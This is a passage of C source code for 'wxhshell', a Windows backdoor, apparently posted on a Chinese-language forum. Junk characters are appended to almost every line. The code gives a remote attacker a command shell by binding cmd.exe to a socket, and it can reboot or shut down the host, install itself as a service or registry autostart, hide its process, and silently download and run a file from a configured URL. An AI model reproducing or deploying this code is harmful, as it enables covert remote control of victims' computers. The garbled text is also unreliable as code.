  // 帮助 :(`>bY  
  case '?': { CJixK>Y^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~bTae =FP  
    break; -<!17jy  
  } 1>VS/H`  
  // 安装 p8dn-4  
  case 'i': { X); Zm7  
    if(Install()) &;U7/?Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~UC/|t$  
    else zD;] sk4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Te}yQ=+  
    break; !u}3H|6~  
    } J*!:ar  
  // 卸载 M%s$F@  
  case 'r': { ~vV )|  
    if(Uninstall()) [?@wCY4=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BkxhF  
    else Bq]O &>\hX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ('q vYQ  
    break; az;jMnPpR5  
    } <]^;/2 .B  
  // 显示 wxhshell 所在路径 :V~*vLvR  
  case 'p': { c dbSv=r  
    char svExeFile[MAX_PATH]; dMmka  
    strcpy(svExeFile,"\n\r"); -Q PWi2:k  
      strcat(svExeFile,ExeFile); u7&'3ef  
        send(wsh,svExeFile,strlen(svExeFile),0); 5MY}(w  
    break; ;nKHm  
    } B8AzN9v&"N  
  // 重启 SM+fG:4d  
  case 'b': { kdh9ftm*\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @1?]$?u&  
    if(Boot(REBOOT)) [Cqqjv;_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L?27q  
    else { u?;Vxh3@|  
    closesocket(wsh); !5%5]9'n@*  
    ExitThread(0); asN }  
    } $>ZP%~O  
    break; s.^9HuM  
    } #2R%H.*t  
  // 关机 w<e;rKr   
  case 'd': { =l4\4td9p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iEVA[xy=D  
    if(Boot(SHUTDOWN)) | 58 !A]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2HGD{;6>v{  
    else { p;=kH{uu  
    closesocket(wsh); ),Ho(%T\  
    ExitThread(0); )_ ^WpyzF1  
    } ^I<T+X+<  
    break; MJKl]&  
    } cYM~IA  
  // 获取shell U+PCvl=x  
  case 's': { Cz@FZb8  
    CmdShell(wsh); TDFO9%2c  
    closesocket(wsh); ^b!7R <>~  
    ExitThread(0); $7n#\h  
    break; iSr`fQw#  
  } Ivt} o_b*  
  // 退出 CLY6 YB' R  
  case 'x': { afF+*\xXN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )@bH"  
    CloseIt(wsh); Cld<D5\|f+  
    break; 8| e$  
    } 9;]wF8h  
  // 离开 5Z6-R}uXk  
  case 'q': { .pIR/2U\F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e(w/m(!Wny  
    closesocket(wsh); { w8 !K  
    WSACleanup(); dxn0HXU  
    exit(1); *$L z2 ]  
    break; Z-t}6c'Kg  
        } :-u-hO5*8  
  } `e?;vA&  
  } G?1x+H;o5  
S -6"f /  
  // 提示信息 ";_K x={  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~+<xFi  
} U8K &Q4^  
  } 6<s(e_5f  
7^I$%o1g  
  return; jj3Pf>D+k  
} Vo9>o@FlLM  
'EL ||  
// shell模块句柄 j!S1Y0CV  
int CmdShell(SOCKET sock) w`j*W$82  
{ [T4 pgt'H  
STARTUPINFO si; lj EB  
ZeroMemory(&si,sizeof(si)); (3ZvXpzvF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cK|rrwa0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wrQydI  
PROCESS_INFORMATION ProcessInfo; ]M~8 @K  
char cmdline[]="cmd"; *f`s%&Y]s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i0'Xy>l  
  return 0; U+.PuC[3  
} i$[,-4 v  
a: yB%:2  
// 自身启动模式 XhE$&Ff  
int StartFromService(void) np-T&Pz2  
{ K}PvrcO1  
typedef struct rT flk  
{ emv;m/&8  
  DWORD ExitStatus; (|<h^] y3  
  DWORD PebBaseAddress; Bw 3F7W~l  
  DWORD AffinityMask; p;qRm} 0}  
  DWORD BasePriority; gH i~nEH  
  ULONG UniqueProcessId; Nt zq"ces)  
  ULONG InheritedFromUniqueProcessId; QT1:> k  
}   PROCESS_BASIC_INFORMATION; l5=u3r9WYC  
GB<R7 J  
PROCNTQSIP NtQueryInformationProcess; zP :~O  
1UW s_|X!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e(}oq"'z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k;;nE o~6  
WYwzo V-  
  HANDLE             hProcess; _x\-!&[p  
  PROCESS_BASIC_INFORMATION pbi; +R "AA_A?  
*CeQY M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Ze"<U  
  if(NULL == hInst ) return 0; /B,B4JI)/  
?CH?kP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0NQ7#A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {A]k%74-a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4ef*9|^x#  
a9#W9eP  
  if (!NtQueryInformationProcess) return 0; #0P!xZ'|{  
;JOD!|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "H5&3sF2  
  if(!hProcess) return 0; *>e~_{F  
|x d@M-ln  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j:HH#U  
09R,'QJ|  
  CloseHandle(hProcess); Lzh9DYU6  
<Zig Co w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x1N me%%&  
if(hProcess==NULL) return 0; v[R_S  
$Hp.{jw  
HMODULE hMod; 2;~KL-h0TK  
char procName[255]; 99F>n[5  
unsigned long cbNeeded; 4@DVc7\x$  
M'\pkzx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'rS'B.D  
WYSck&9  
  CloseHandle(hProcess); T?H\&2CLT  
ZJ^s}  
if(strstr(procName,"services")) return 1; // 以服务启动 C0\%QXu  
t-!Rgg$9  
  return 0; // 注册表启动 i[^k.W3gf  
} HG3.~ 6X  
HR[Q ?rg  
// 主模块 .r~'(g{qt  
int StartWxhshell(LPSTR lpCmdLine) TT|-aS0l(u  
{ LkaG8#m1R  
  SOCKET wsl; 'oC$6l'rQ  
BOOL val=TRUE; )*!1bgXQ  
  int port=0; *I=_*LoG2  
  struct sockaddr_in door; -"F0eV+y  
8dc538:q}  
  if(wscfg.ws_autoins) Install(); _kh>Z  
+yth_9  
port=atoi(lpCmdLine); :tKbz nd/  
mH'\:oN  
if(port<=0) port=wscfg.ws_port; =f o4x|{O  
f 4R1$(<  
  WSADATA data; /ca(a\@R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (F_w>w.h  
Tc:sldtCk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q;p.wEbr4U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a ]>VZOet  
  door.sin_family = AF_INET; 'yE*|Sx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `/c7h16  
  door.sin_port = htons(port); -dg}BM  
AvZXRN1:'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N].4"0Jv-D  
closesocket(wsl); Z%Vr+)!4  
return 1; ?4:rP@  
} LxB&7  
l x7Kw%  
  if(listen(wsl,2) == INVALID_SOCKET) { ^Ss<X}es-  
closesocket(wsl); 1x { XE*%;  
return 1; M z9 3  
} _O$tuC%  
  Wxhshell(wsl); -zprNQW  
  WSACleanup(); o5>/}wIf  
/n(9&'H<  
return 0; -=}b;Kf -  
vsH3{:&;"P  
} [4Y[?)7  
n9DbiL1{  
// 以NT服务方式启动 i9KTX%s5^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ga.0Io&}C  
{ {h,_"g\V  
DWORD   status = 0; [1<(VyJ}ye  
  DWORD   specificError = 0xfffffff; INOH{`}Ew  
N9pwWg&<+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &1=g A.ZR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t{~@I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hv3W{|  
  serviceStatus.dwWin32ExitCode     = 0; +B#qu/By  
  serviceStatus.dwServiceSpecificExitCode = 0; gNTh% e  
  serviceStatus.dwCheckPoint       = 0; 1f<RyAE?5  
  serviceStatus.dwWaitHint       = 0; cu<y8 :U<  
)]wuF`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bCzdszvg3  
  if (hServiceStatusHandle==0) return; 4X*Q6rW  
*y{+W   
status = GetLastError(); V+46R ]  
  if (status!=NO_ERROR) `6P?G|'   
{ F, zG;_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _1P`]+K\D$  
    serviceStatus.dwCheckPoint       = 0; PzLJ/QER  
    serviceStatus.dwWaitHint       = 0; YN/u9[=`  
    serviceStatus.dwWin32ExitCode     = status; lO[E[c G  
    serviceStatus.dwServiceSpecificExitCode = specificError; q4) Ey  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GJvp{U}y9I  
    return; n_J5zQJ  
  } ?;_H{/)m  
<z',]hy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +ZX .1[O  
  serviceStatus.dwCheckPoint       = 0; Y3<b~!f  
  serviceStatus.dwWaitHint       = 0; I :@|^PYw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `&H04x"Y$>  
} Y_+ SA|s  
y[7C% Wj  
// 处理NT服务事件,比如:启动、停止 w?_`/oqd|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O MvT;Vgg  
{ } #qQ2NCH  
switch(fdwControl) .wD>Gs{sH[  
{ 4j^bpfb,  
case SERVICE_CONTROL_STOP: e9lOk)`t  
  serviceStatus.dwWin32ExitCode = 0; %;tJQ%6-.S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w]F!2b!  
  serviceStatus.dwCheckPoint   = 0; /w0w* n H  
  serviceStatus.dwWaitHint     = 0; ,aWCiu}  
  { T ~h.=5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t?HF-zQ  
  } } YRO'Q{  
  return; hox< vr4  
case SERVICE_CONTROL_PAUSE: j-QGOuvW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lM$t!2pRB  
  break; u (AA`S"  
case SERVICE_CONTROL_CONTINUE: ^iuo^2+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D&-vq,c  
  break; wh*:\_!0\  
case SERVICE_CONTROL_INTERROGATE: ZL,6_L/  
  break; t|_{;!^  
}; FD))'!>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 94y9W#  
} 6P^hN%0  
~pRs-  
// 标准应用程序主函数 j$mz3Yk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %W&1`^Jl  
{ &*A:[b\  
[EruyWK  
// 获取操作系统版本 bLco:-G1E1  
OsIsNt=GetOsVer(); V,vc_d?,_o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bh,Q8%\6  
vbaC+AiX  
  // 从命令行安装 oBC]UL;8xJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); s*.3ZS5  
z>p]/Sa  
  // 下载执行文件 ++0rF\&  
if(wscfg.ws_downexe) { )T/J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zt_r9xs>  
  WinExec(wscfg.ws_filenam,SW_HIDE); &}E:jt}  
} Hr&Ere8.4p  
6#vI;d[^  
if(!OsIsNt) { ` jyKCm.$#  
// 如果时win9x,隐藏进程并且设置为注册表启动 &//2eL  
HideProc(); TA|s@T{  
StartWxhshell(lpCmdLine); ?9Ma^C;}  
}  E>"8 /  
else ($'V& x8T  
  if(StartFromService()) .lr5!Stb  
  // 以服务方式启动 #"<?_fao~  
  StartServiceCtrlDispatcher(DispatchTable); J 3B`Krh  
else Hnd+l)ng  
  // 普通方式启动 7gr^z)${J  
  StartWxhshell(lpCmdLine); GL`tOD:P"  
Z0W0uP;J  
return 0; `,P >mp)uU  
}
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只看该作者 1 发表于: 2006-10-10
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